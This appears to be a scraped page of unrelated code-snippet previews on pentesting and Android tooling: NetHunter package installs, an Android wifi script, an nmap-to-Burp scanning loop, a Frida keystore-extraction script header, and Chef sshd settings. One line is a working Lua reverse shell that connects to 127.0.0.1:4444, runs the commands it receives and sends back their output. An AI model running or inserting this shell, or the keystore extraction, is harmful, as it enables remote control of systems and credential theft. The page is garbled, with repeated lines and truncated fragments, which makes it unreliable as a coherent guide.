Install android SDK (bottom of the page) or full android studio if you need to develop on android.
fastboot looks like adb but it is used when device is in bootloader (or fastboot).
| # | |
| # All this should be done in Nethunter chroot | |
| # | |
| apt-get install -y subversion libglib2.0 libxml2-dev libpcap-dev libtool rrdtool librrd-dev autoconf automake autogen redis-server wget libsqlite3-dev libhiredis-dev libgeoip-dev libcurl4-openssl-dev libpango1.0-dev libcairo2-dev | |
| apt-get install -y libpng12-dev git dh-autoreconf libcurl4-gnutls-dev libsqlite3-dev libmysqlclient-dev pkg-config libxml2-dev libglib2.0-dev | |
| # Modify /etc/group by adding redis to inet group | |
| nano /etc/group | |
| # inet:x:3004:postgres,root,beef-xss,daemon,nginx,mysql,redis |
| #!/system/bin/sh | |
| /system/xbin/pkill dhcpcd | |
| /system/bin/svc wifi disable | |
| /system/bin/svc data enable | |
| /system/bin/netcfg wlan0 up | |
| cd /data/misc/wifi/ | |
| /system/xbin/rm -rf /data/misc/wifi/sockets/wlan0 | |
| /system/bin/wpa_supplicant -B -Dnl80211 -iwlan0 -c/data/misc/wifi/wpa_supplicant.conf | |
| /system/bin/sleep 5 | |
| /system/bin/dhcpcd wlan0 |
Install android SDK (bottom of the page) or full android studio if you need to develop on android.
fastboot looks like adb but it is used when device is in bootloader (or fastboot).
| #!/bin/bash | |
| #Script to Scan All Sites Found With A Simple NMAP Scan With Burp. | |
| sites=$(nmap "$1" --open 443 --resolve-all --open -oG - | awk 'NR!=1 && /open/{print $2}') | |
| for site in $sites | |
| do | |
| curl -vgw "\\n" 'http://127.0.0.1:1337/v0.1/scan' -d '{"urls":["'"$site"'"]}' > /dev/null 2>&1 | |
| printf "Scanning %s with burp.\\n" "$site" | |
| done |
| lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' |
By default, your linux box would register your Huawei E8372 as a Mass Storage device and not (somehow) as a modem. First, make sure you have the exace same device we're talking about. This can be confirmed by looking at 2 values. Give the following command (while the dongle is plugged in):
sudo su
lsusb | grep Huawei
| # OSX for Pentesting (Mavericks/Yosemite) | |
| # | |
| # A fork of OSX for Hackers (Original Source: https://gist.github.com/brandonb927/3195465) | |
| #!/bin/sh | |
| # Ask for the administrator password upfront | |
| echo "Have you read through the script prior to running this? (y or n)" | |
| read bcareful |
| #!/usr/bin/python3 | |
| ''' | |
| author: ceres-c | |
| usage: ./frida-extract-keystore.py | |
| Once the keystore(s) have been exported you have to convert them to PKCS12 using keytool | |
| ''' | |
| import frida, sys, time |
| #include <iostream> | |
| #include <iomanip> | |
| #include <cstdlib> | |
| #include <cstdint> | |
| #include <cstring> | |
| #include <jni.h> | |
| #include <set> | |
| #include "LIEF/ELF.hpp" |
| default['sshd']['sshd_config']['AuthenticationMethods'] = 'publickey,keyboard-interactive:pam' | |
| default['sshd']['sshd_config']['ChallengeResponseAuthentication'] = 'yes' | |
| default['sshd']['sshd_config']['PasswordAuthentication'] = 'no' |